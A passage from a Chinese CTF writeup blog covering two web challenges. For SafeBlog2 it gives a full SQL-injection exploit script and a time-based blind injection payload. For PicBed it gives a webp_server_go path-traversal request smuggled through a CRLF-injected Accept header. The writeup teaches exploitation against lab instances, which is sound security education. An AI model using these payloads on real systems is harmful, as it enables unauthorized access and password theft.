href="https://hans362-img.oss.0vv0.top/2024/04/24/SafeBlog2-b31bd0e5fa8528c0d3484d5a27d467ec.zip">Attachment</a></p><p>P.S. It is recommended to test your exploit locally before creating an online instance.</p><details><summary>答题情况</summary><p>SJTU-CTF 1 Solves / 1000 pts</p><p><code>0ops{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}</code></p><p>GEEKCTF 8 Solves / 611 pts</p><p><code>flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}</code></p></details><hr><p>出题灵感来自于 MapleCTF 2023 <code>Data Explorer</code>,考察环境变量导致 <code>assert</code> 失效以及查询次数有限情况下的 SQL 注入。</p><p>直接审计压缩包中的源码,发现似乎并没有什么问题,<code>utils/db.js</code> 中实现的简易 ORM 采用了预编译绑定参数,对列名也使用 <code>assert</code> 做了检查,好像无懈可击?</p><p>仔细观察会发现,这里的 <code>assert</code> 用的是 <a target="_blank" rel="noopener" href="https://www.npmjs.com/package/assert-plus"><code>assert-plus</code></a>,查询文档得知这个库提供了通过设置环境变量使所有 <code>assert</code> 失效的能力。</p><blockquote><p>Lastly, you can opt-out of assertion checking altogether by setting the environment variable <code>NODE_NDEBUG=1</code></p></blockquote><p>查看压缩包中的 <code>compose.yml</code>,发现确实设置了 <code>NODE_NDEBUG=1</code>,所以可以直接无视代码中的所有 <code>assert</code>,也就是列名检查失效了。</p><details><summary>你知道吗</summary><p>在 Python 中也存在类似的能力,而且无需引入第三方库,通过设置 <code>PYTHONOPTIMIZE=1</code> 环境变量即可使代码中的所有 <code>assert</code> 失效。</p></details><p>此时再去寻找代码中直接接受用户输入作为列名的地方,发现评论点赞接口存在问题:</p><pre><code class="hljs javascript">app.<span class="hljs-title function_">get</span>(<span class="hljs-string">'/comment/like'</span>, <span class="hljs-keyword">async</span> (req, res) =&gt; {
<span class="hljs-keyword">try</span> {
<span class="hljs-keyword">const</span> comments = <span class="hljs-keyword">await</span> <span class="hljs-title function_">runQuery</span>(<span class="hljs-string">'comments'</span>, req.<span class="hljs-property">query</span>);
comments.<span class="hljs-title function_">forEach</span>(<span class="hljs-function">(<span class="hljs-params">comment</span>) =&gt;</span> {
db.<span class="hljs-title function_">run</span>(<span class="hljs-string">'UPDATE comments SET likes = likes + 1 WHERE id = ?'</span>, comment.<span class="hljs-property">id</span>);
});
res.<span class="hljs-title function_">redirect</span>(req.<span class="hljs-property">headers</span>.<span class="hljs-property">referer</span> ?? <span class="hljs-string">'/'</span>);
} <span class="hljs-keyword">catch</span> {
res.<span class="hljs-title function_">status</span>(<span class="hljs-number">500</span>).<span class="hljs-title function_">render</span>(<span class="hljs-string">'error'</span>, { <span class="hljs-attr">message</span>: <span class="hljs-string">'Internal Server Error'</span> });
}
});</code></pre><p><code>req.query</code> 是用户传入的全部 <code>GET</code> 参数,直接作为 <code>filter</code> 参数传递给了 <code>runQuery()</code>,而 <code>runQuery()</code> 调用的 <code>filterBuilder()</code> 中的列名检查失效了,因此会把 <code>req.query</code> 的所有键当作列名拼接进 SQL 语句中,值则采用预编译绑定参数,那么通过控制键名就可以任意操纵 SQL 语句,理论上就可以进行注入了。</p><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">filterBuilder</span>(<span class="hljs-params">model, filter</span>) {
<span class="hljs-keyword">return</span> {
<span class="hljs-attr">where</span>:
<span class="hljs-string">'WHERE '</span> +
<span class="hljs-title class_">Object</span>.<span class="hljs-title function_">keys</span>(filter)
.<span class="hljs-title function_">map</span>(<span class="hljs-function">(<span class="hljs-params">key, index</span>) =&gt;</span> {
<span class="hljs-comment">/* Assertion ignored since NODE_NDEBUG=1 */</span>
<span class="hljs-comment">// assert(models[model].includes(key), `Invalid field ${key} for model ${model}`);</span>
<span class="hljs-keyword">return</span> <span class="hljs-string">`<span class="hljs-subst">${key}</span> = ?`</span>;
})
.<span class="hljs-title function_">join</span>(<span class="hljs-string">' AND '</span>),
<span class="hljs-attr">params</span>: <span class="hljs-title class_">Object</span>.<span class="hljs-title function_">values</span>(filter),
};
}
<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">runQuery</span>(<span class="hljs-params">model, filter, sort</span>) {
queries++;
<span class="hljs-keyword">const</span> { where, params } = filter ? <span class="hljs-title function_">filterBuilder</span>(model, filter) : { <span class="hljs-attr">where</span>: <span class="hljs-string">''</span>, <span class="hljs-attr">params</span>: [] };
<span class="hljs-keyword">const</span> order_by = sort ? <span class="hljs-string">`ORDER BY <span class="hljs-subst">${sortBuilder(model, sort)}</span>`</span> : <span class="hljs-string">''</span>;
<span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Promise</span>(<span class="hljs-function">(<span class="hljs-params">resolve, reject</span>) =&gt;</span> {
db.<span class="hljs-title function_">all</span>(<span class="hljs-string">`SELECT * FROM <span class="hljs-subst">${model}</span> <span class="hljs-subst">${where}</span> <span class="hljs-subst">${order_by}</span>`</span>, params, <span class="hljs-function">(<span class="hljs-params">err, rows</span>) =&gt;</span> {
<span class="hljs-keyword">if</span> (err) {
<span class="hljs-title function_">reject</span>(err);
} <span class="hljs-keyword">else</span> {
<span class="hljs-title function_">resolve</span>(rows);
<span class="hljs-keyword">if</span> (queries &gt;= <span class="hljs-number">4</span>) {
db.<span class="hljs-title function_">run</span>(<span class="hljs-string">`UPDATE admins SET password = "<span class="hljs-subst">${passwordGenerator(<span class="hljs-number">16</span>)}</span>" WHERE id = 1`</span>);
queries = <span class="hljs-number">0</span>;
}
}
});
});
}</code></pre><p>然而阅读 <code>runQuery()</code> 的代码会发现,每 4 次使用 <code>runQuery()</code> 进行查询, <code>admin</code> 的密码就会被重置,所以显然不能直接注入获取密码,这该怎么办?</p><h3 id="预期解"><a class="markdownIt-Anchor" href="#预期解"></a> 预期解</h3><p>稍加思考不难发现,点赞接口会对结果集里面的每一条评论点赞,同时我们可以无限制地创建评论(创建评论不使用 <code>runQuery()</code>,不会触发密码重置),那么通过巧妙地构造 SQL 语句,我们就可以仅用 3 次查询,利用评论的点赞数间接泄漏出 <code>admin</code> 的密码,最后 1 次查询用于登录 <code>admin</code> 的账号获取 Flag。</p><p>具体构造 SQL 语句的方式有很多,看了大家的 Writeup 也确实各不相同,不过都大同小异,基本思想是一致的。以下是出题人笨拙的做法,供参考。</p><p>考虑到 <code>admin</code> 密码字符串长度为 32每一位字符有 <code>0</code> - <code>F</code> 共 16 种可能,因此可以将每一位字符的每一种可能一对一地映射到 512 条评论上。选出每一位的字符对应的评论进行点赞,根据被点赞的评论 <code>id</code> 即可还原出密码,然后登录拿到 Flag。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> bs4
url = <span class="hljs-string">"http://&lt;instance_url&gt;/"</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">create_comments</span>():
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">512</span>):
<span class="hljs-built_in">print</span>(i)
<span class="hljs-comment"># ID starts from 51</span>
r = requests.get(
url + <span class="hljs-string">"comment/new"</span>,
params={<span class="hljs-string">"name"</span>: <span class="hljs-built_in">str</span>(<span class="hljs-number">51</span> + i), <span class="hljs-string">"content"</span>: <span class="hljs-built_in">str</span>(<span class="hljs-number">51</span> + i), <span class="hljs-string">"post_id"</span>: <span class="hljs-number">10</span>},
)
<span class="hljs-keyword">assert</span> r.status_code == <span class="hljs-number">200</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">generate_payload</span>():
query = <span class="hljs-string">"{} AND '5'"</span>
char = <span class="hljs-string">"id = IIF(unicode((select substr(password,{},1) from admins)) &lt;= 57, unicode((select substr(password,{},1) from admins)) - 47, unicode((select substr(password,{},1) from admins)) - 86) + 50 + 16 * {}"</span>
payload = {
query.<span class="hljs-built_in">format</span>(
<span class="hljs-string">" OR "</span>.join([char.<span class="hljs-built_in">format</span>(i + <span class="hljs-number">1</span>, i + <span class="hljs-number">1</span>, i + <span class="hljs-number">1</span>, i) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>)])
): <span class="hljs-number">5</span>
}
<span class="hljs-built_in">print</span>(payload)
<span class="hljs-keyword">return</span> payload
<span class="hljs-keyword">def</span> <span class="hljs-title function_">send_payload</span>():
r = requests.get(
url + <span class="hljs-string">"comment/like"</span>, params=generate_payload(), allow_redirects=<span class="hljs-literal">False</span>
)
<span class="hljs-comment"># Disallow redirect to avoid triggering another SQL query</span>
<span class="hljs-keyword">assert</span> r.status_code == <span class="hljs-number">302</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_result</span>():
hex_letters = <span class="hljs-string">"0123456789abcdef"</span>
r = requests.get(url + <span class="hljs-string">"post/10"</span>)
soup = bs4.BeautifulSoup(r.text, <span class="hljs-string">"html.parser"</span>)
article = soup.find_all(<span class="hljs-string">"article"</span>)[<span class="hljs-number">1</span>]
lis = article.find_all(<span class="hljs-string">"li"</span>)
res = <span class="hljs-string">""</span>
<span class="hljs-keyword">for</span> i, li <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(lis[:<span class="hljs-number">32</span>]):
<span class="hljs-built_in">id</span> = <span class="hljs-built_in">int</span>(re.search(<span class="hljs-string">r"(\d+)"</span>, li.text).group(<span class="hljs-number">1</span>))
res += hex_letters[<span class="hljs-built_in">id</span> - <span class="hljs-number">50</span> - i * <span class="hljs-number">16</span> - <span class="hljs-number">1</span>]
<span class="hljs-keyword">return</span> res
<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_flag</span>():
password = get_result()
<span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Admin password: "</span> + password)
r = requests.get(url + <span class="hljs-string">"admin"</span>, params={<span class="hljs-string">"username"</span>: <span class="hljs-string">"admin"</span>, <span class="hljs-string">"password"</span>: password})
flag = bs4.BeautifulSoup(r.text, <span class="hljs-string">"html.parser"</span>).find(<span class="hljs-string">"code"</span>).text
<span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Flag: "</span> + flag)
create_comments()
<span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Comments created."</span>)
send_payload()
<span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Payload sent."</span>)
get_flag()</code></pre><h3 id="非预期解"><a class="markdownIt-Anchor" href="#非预期解"></a> 非预期解</h3><p>出题人粗心大意,重置密码的代码竟然写错位置了,于是被 4 位选手狠狠非预期了。</p><pre><code class="hljs javascript"><span class="hljs-keyword">if</span> (err) {
<span class="hljs-title function_">reject</span>(err);
} <span class="hljs-keyword">else</span> {
<span class="hljs-title function_">resolve</span>(rows);
<span class="hljs-keyword">if</span> (queries &gt;= <span class="hljs-number">4</span>) {
db.<span class="hljs-title function_">run</span>(<span class="hljs-string">`UPDATE admins SET password = "<span class="hljs-subst">${passwordGenerator(<span class="hljs-number">16</span>)}</span>" WHERE id = 1`</span>);
queries = <span class="hljs-number">0</span>;
}
}</code></pre><p>不难发现只有在查询成功的情况下,计数器才会累加,所以如果构造的 SQL 语句能够触发查询错误,同时能够通过延时来泄漏信息,那么就可以完全无视次数限制,当作普通的延时盲注来做。</p><p>具体而言,可以通过 <code>RANDOMBLOB()</code> 实现延时(因为 <code>sqlite</code> 没有 <code>SLEEP()</code>),通过 <code>load_extension(1)</code> 触发查询错误,只要延时先于触发查询错误即可,以下是选手 <code>__No0♭__</code> 的解法,供参考。</p><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">check</span>(<span class="hljs-params">curr, mid</span>):
burp0_url = <span class="hljs-string">f"<span class="hljs-subst">{HOST}</span>/comment/like"</span>
burp0_headers = {<span class="hljs-string">"Connection"</span>: <span class="hljs-string">"close"</span>}
response = requests.get(burp0_url, params={<span class="hljs-string">f"'1' = ? OR CASE WHEN (SELECT unicode(substr(password,<span class="hljs-subst">{curr}</span>,1)) FROM admins WHERE id = 1)&lt;=<span class="hljs-subst">{mid}</span> THEN (1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(250000000/2)))) OR load_extension(1/0)) ELSE load_extension(1/0) END;--"</span>:<span class="hljs-string">"zz"</span>}, headers=burp0_headers, allow_redirects=<span class="hljs-literal">False</span>, proxies=PROXY)
<span class="hljs-keyword">return</span> response.elapsed.total_seconds() &gt; <span class="hljs-number">0.5</span></code></pre><p>不过感觉难度上非预期解和预期解好像也差不了多少(?),所以无所谓啦。</p><h2 id="picbed"><a class="markdownIt-Anchor" href="#picbed"></a> PicBed</h2><p>PicBed is an elegant image hosting service which uses webp_server_go to serve your JPG/PNG/BMP/SVGs as WebP/AVIF format with compression, on-the-fly.</p><p><a target="_blank" rel="noopener" href="https://hans362-img.oss.0vv0.top/2024/04/24/PicBed-473bf2eca2078e5cfcb110d1f499c40c.zip">Attachment</a></p><p>P.S. It is recommended to test your exploit locally before creating an online instance.</p><details><summary>答题情况</summary><p>SJTU-CTF 1 Solves / 1000 pts</p><p><code>0ops{cVE_2021_46104_No7_FULlY_p@TcH3d}</code></p><p>GEEKCTF 7 Solves / 647 pts</p><p><code>flag{cVE_2021_46104_No7_FULlY_p@TcH3d}</code></p></details><hr><p>想稍微拉高一下难度,所以拿了个开源项目的很鸡肋的漏洞出了这道题,考察 HTTP 请求走私和 Go 语言代码审计。</p><p>观察压缩包中的源码,发现前端是用 Flask 写的,负责页面展示、图片上传,后端使用了开源项目 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a>,负责根据用户传入的 <code>Accept</code> 请求头返回原图或 WebP 格式的图片。我们的目标是拿到容器根目录下的 <code>flag.png</code></p><p><a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 默认加载的是 <code>/opt/pics</code> 中的图片。显然,我们需要挖掘 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 项目中类似于目录穿越的漏洞并加以利用。通过搜索 <code>webp_server_go path traversal</code> 关键词,不难发现该项目曾经有一个 CVE-2021-46104但是在这道题使用的 0.11.1 版本中已经修复了,似乎没什么用。</p><p>不过我们不妨看看 CVE-2021-46104 是怎么修的吧。通过翻阅项目的 Issues 以及 PRs发现涉及该漏洞修复的 PR 是 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go/pull/93">#93</a><a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go/pull/103">#103</a>。进一步阅读这两个 PR 中的代码改动,会发现最核心的就是下面这几行代码。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5d539cdcead23f4efa490c411b2eeba9.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5d539cdcead23f4efa490c411b2eeba9.png" srcset="/loading.gif" alt=""></p><p>从代码中看,开发者试图通过 <code>path.Clean()</code> 消除 <code>reqURI</code> 中的 <code>../</code>,从而避免目录穿越。通过查阅<a target="_blank" rel="noopener" href="https://pkg.go.dev/path#Clean">官方文档</a>可知,<code>path.Clean()</code> 函数通过纯词法处理返回与参数等效的最短路径名。这样乍一看好像没什么问题,即使 <code>reqURI</code> 中有再多的 <code>../</code>,消除到最后似乎也仅仅只能回退到 <code>/</code>,再与 <code>config.ImgPath</code> 拼接,肯定无法穿越出 <code>config.ImgPath</code></p><p>但如果 <code>reqURI</code> 直接以 <code>../</code> 开头呢?经过尝试不难发现,在这种情况下 <code>../</code> 会被直接保留,再与 <code>config.ImgPath</code> 拼接,就能够实现目录穿越。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_3261f0da44e2723572be1bb8e8f58cd4.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_3261f0da44e2723572be1bb8e8f58cd4.png" srcset="/loading.gif" alt=""></p><p>那么 <code>reqURI</code> 有没有可能直接以 <code>../</code> 开头呢?<a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 使用的框架是 <a target="_blank" rel="noopener" href="https://github.com/gofiber/fiber"><code>fiber</code></a>,而 <a target="_blank" rel="noopener" href="https://github.com/gofiber/fiber"><code>fiber</code></a> 是基于 <a target="_blank" rel="noopener" href="https://github.com/valyala/fasthttp"><code>fasthttp</code></a> 的。<a target="_blank" rel="noopener" href="https://github.com/valyala/fasthttp"><code>fasthttp</code></a> 在面对 URI 不以 <code>/</code> 开头的畸形 HTTP 请求时,并不会报错,而是依旧将其作为合法的 URI 处理。这也就意味着 CVE-2021-46104 并没有完全修好,我们只需构造如下的畸形 HTTP 报文,就可以穿越到根目录读取 Flag。</p><pre><code class="hljs http"><span class="hljs-keyword">GET</span> <span class="hljs-string">../../flag.png</span> <span class="hljs-meta">HTTP/1.1</span></code></pre><p>现在只剩下最后一个问题,如何把这个报文发给后端的 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 呢?仔细观察前端的 <code>/pics/&lt;string:path&gt;</code> 路由,发现传给 <code>fetch_converted_image()</code> 方法的 <code>accept</code> 参数取的是 URL 解码后的 <code>Accept</code> 请求头,在 <code>fetch_converted_image()</code> 方法中直接拼接到了 HTTP 报文中。由此,我们可以实现 HTTP 请求走私,通过插入 URL 编码后的 <code>\r\n\r\n</code> 将一段 HTTP 报文截断为两段连续的 HTTP 报文,后一段 HTTP 报文是完全可控的,<code>fetch_converted_image()</code> 方法最终返回的也恰好是最后一段报文的响应体。于是,可以构造如下的 <code>Accept</code> 请求头实现我们的目标。</p><pre><code class="hljs http"><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>image/webp%0d%0a%0d%0aGET ../../flag.png HTTP/1.1</code></pre><p>所以最终的完整流程是,先随意上传一张图片,访问该图片并抓取 HTTP 报文,按上述方法修改 <code>Accept</code> 请求头,发送请求获取 Flag。</p><p>最后说说这个漏洞为什么鸡肋。首先畸形的 HTTP 报文必须直接发送给 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a>,一旦中间有 Nginx 之类的反向代理对 URI 做了检查就无法利用了,这也就是为什么本题要将其和 HTTP 请求走私结合;其次该漏洞只能读取图片文件,因为 <a target="_blank" rel="noopener" href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 会把读到的文件喂给 VIPS 处理,读到的文件只要不是合法的图片 VIPS 就会报错,攻击者无法得到文件内容,这也是本题 Flag 是图片的原因;最后攻击者还需要有图片的路径这一先验知识,否则很难读到有效的图片。</p><p>收完 Writeup 后已经将该漏洞报告给开发者,已于 0.11.3 版本中修复。</p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>这次我出的 4 道题的预期难度是简单、中等、困难、困难按本文顺序。GEEKCTF 的解题情况基本符合预期Secrets 做出来的人意外地还挺多。SJTU-CTF 的解题情况则有点出乎意料,基本没什么人做 Web完全没有像去年一样的盛况。从 SJTU-CTF 回收的问卷情况来看,有较多选手反映 Web 题目难度梯度不合理(虽然 Web 方向至少有 3 道出题人认为是简单的题目),然而某位几乎 AK Web 的巨佬又反馈 Web 题“一直做一直爽”、偏 MISC、没什么新东西感觉难度梯度确实还挺难把握的出那种既有意思又新手友好的题目好难啊TAT。</p></body></html></div><div class="license"><div class="license-title">SJTU-CTF / GEEKCTF 2024 部分 Writeup</div><div class="license-link"><a href="https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/">https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/</a></div><div class="license-meta"><div class="license-meta-item"><div class="license-meta-title">本文作者</div><div class="license-meta-text">Hans362</div></div><div class="license-meta-item"><div class="license-meta-title">最后更新</div><div class="license-meta-text">2024-04-24</div></div><div class="license-meta-item"><div class="license-meta-title">许可协议</div><div class="license-meta-text"><a href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh" rel="nofollow noopener noreferrer" target="_blank">CC BY-NC-SA 4.0</a></div></div></div><div>转载或引用本文时请遵守许可协议,注明出处、不得用于商业用途!</div></div><div class="post-footer__cats"><a href="/categories/%E6%B0%B4/" class="post-cats__link button"></a><a href="/tags/Web/" class="post-tags__link button"># Web</a><a href="/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/" class="post-tags__link button"># 网络安全</a><a href="/tags/CTF/" class="post-tags__link button"># CTF</a><a href="/tags/Writeup/" class="post-tags__link button"># Writeup</a><a href="/tags/%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/" class="post-tags__link button"># 解题报告</a></div></article><div class="nav"><div class="nav__prev"><a href="/post/2024-annual-report/" class="nav__link"><div><svg viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg" width="24" height="24"><path d="M589.088 790.624L310.464 512l278.624-278.624 45.248 45.248L400.96 512l233.376 233.376z" fill="#808080"></path></svg></div><div><div class="nav__label">上一篇</div><div class="nav__title">2024年终总结</div></div></a></div><div class="nav__next"><a href="/post/weekly-31/" class="nav__link"><div><div class="nav__label">下一篇</div><div class="nav__title">周记#31</div></div><div><svg viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg" width="24" height="24"><path d="M434.944 790.624l-45.248-45.248L623.04 512l-233.376-233.376 45.248-45.248L713.568 512z" fill="#808080"></path></svg></div></a></div></div><div class="post__sponsers card"><div class="sponser-label">喜欢这篇文章吗?考虑支持一下作者吧~</div><a class="sponser-button button" href="https://afdian.net/@hans362" rel="external nofollow noreferrer" target="_blank" data-type="afdian">爱发电</a> <a class="sponser-button button" data-type="alipay">支付宝<img class="sponser-qrcode" src="https://hans362-img.oss.0vv0.top/2021/08/05/68281340.jpg"></a></div><div class="post__comments post__with-toc card" id="comment"><h4>评论</h4><div id="disqus_thread">您所在的地区可能无法访问 Disqus 评论系统,请切换网络环境再尝试。</div></div></div></main><footer><p class="footer-copyright">Copyright © 2017&nbsp;-&nbsp;2025 <a href="/">Hans362 &#39;s Blog</a></p><p>Powered by <a href="https://hexo.io" target="_blank">Hexo</a> | Theme - <a href="https://github.com/ChrAlpha/hexo-theme-cards" target="_blank">Cards</a></p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script><ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-8746554831230893" data-ad-slot="6356225601" data-ad-format="auto" data-full-width-responsive="true"></ins><script>(adsbygoogle=window.adsbygoogle||[]).push({})</script></footer></div><script defer src="https://blog.hans362.cn/npm/vanilla-lazyload@17.8.3/dist/lazyload.min.js"></script><script>window.lazyLoadOptions={elements_selector:".lazy"}</script><script async defer data-website-id="5d181692-8a81-4c20-a282-cee87a6b90ef" src="https://analytics.0vv0.top/vue.js"></script><script src="/js/pageviews.js"></script><link rel="stylesheet" href="https://blog.hans362.cn/npm/katex@0.16.0/dist/katex.min.css" crossorigin="anonymous"><script>function loadComment(){let e,n;(e=document.createElement("script")).src="https://blog.hans362.cn/js/disqus.js",document.body.appendChild(e),e.onload=()=>{new DisqusJS({shortname:"hans362-s-blog",siteName:"Hans362 &#39;s Blog",api:"https://api-v3.hans362.cn/",apikey:"8Z1UVT4UOk22yNyk9MhpqQ0FLb27Hb1bpV066b4v9zOFie0GQ6VCoJ9TJwoGlCVF",admin:"hans362",identifier:"post/sjtu-ctf-geekctf-2024-writeup/",url:"https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/",nesting:"4"})},(n=document.createElement("link")).rel="stylesheet",n.href="https://blog.hans362.cn/css/disqusjs.css",document.head.appendChild(n)}var runningOnBrowser="undefined"!=typeof window,isBot=runningOnBrowser&&!("onscroll"in window)||"undefined"!=typeof navigator&&/(gle|ing|ro|msn)bot|crawl|spider|yand|duckgo/i.test(navigator.userAgent),supportsIntersectionObserver=runningOnBrowser&&"IntersectionObserver"in window;setTimeout(function(){var n;!isBot&&supportsIntersectionObserver?(n=new IntersectionObserver(function(e){e[0].isIntersecting&&(loadComment(),n.disconnect())},{threshold:[0]})).observe(document.getElementById("comment")):loadComment()},1)</script></body></html>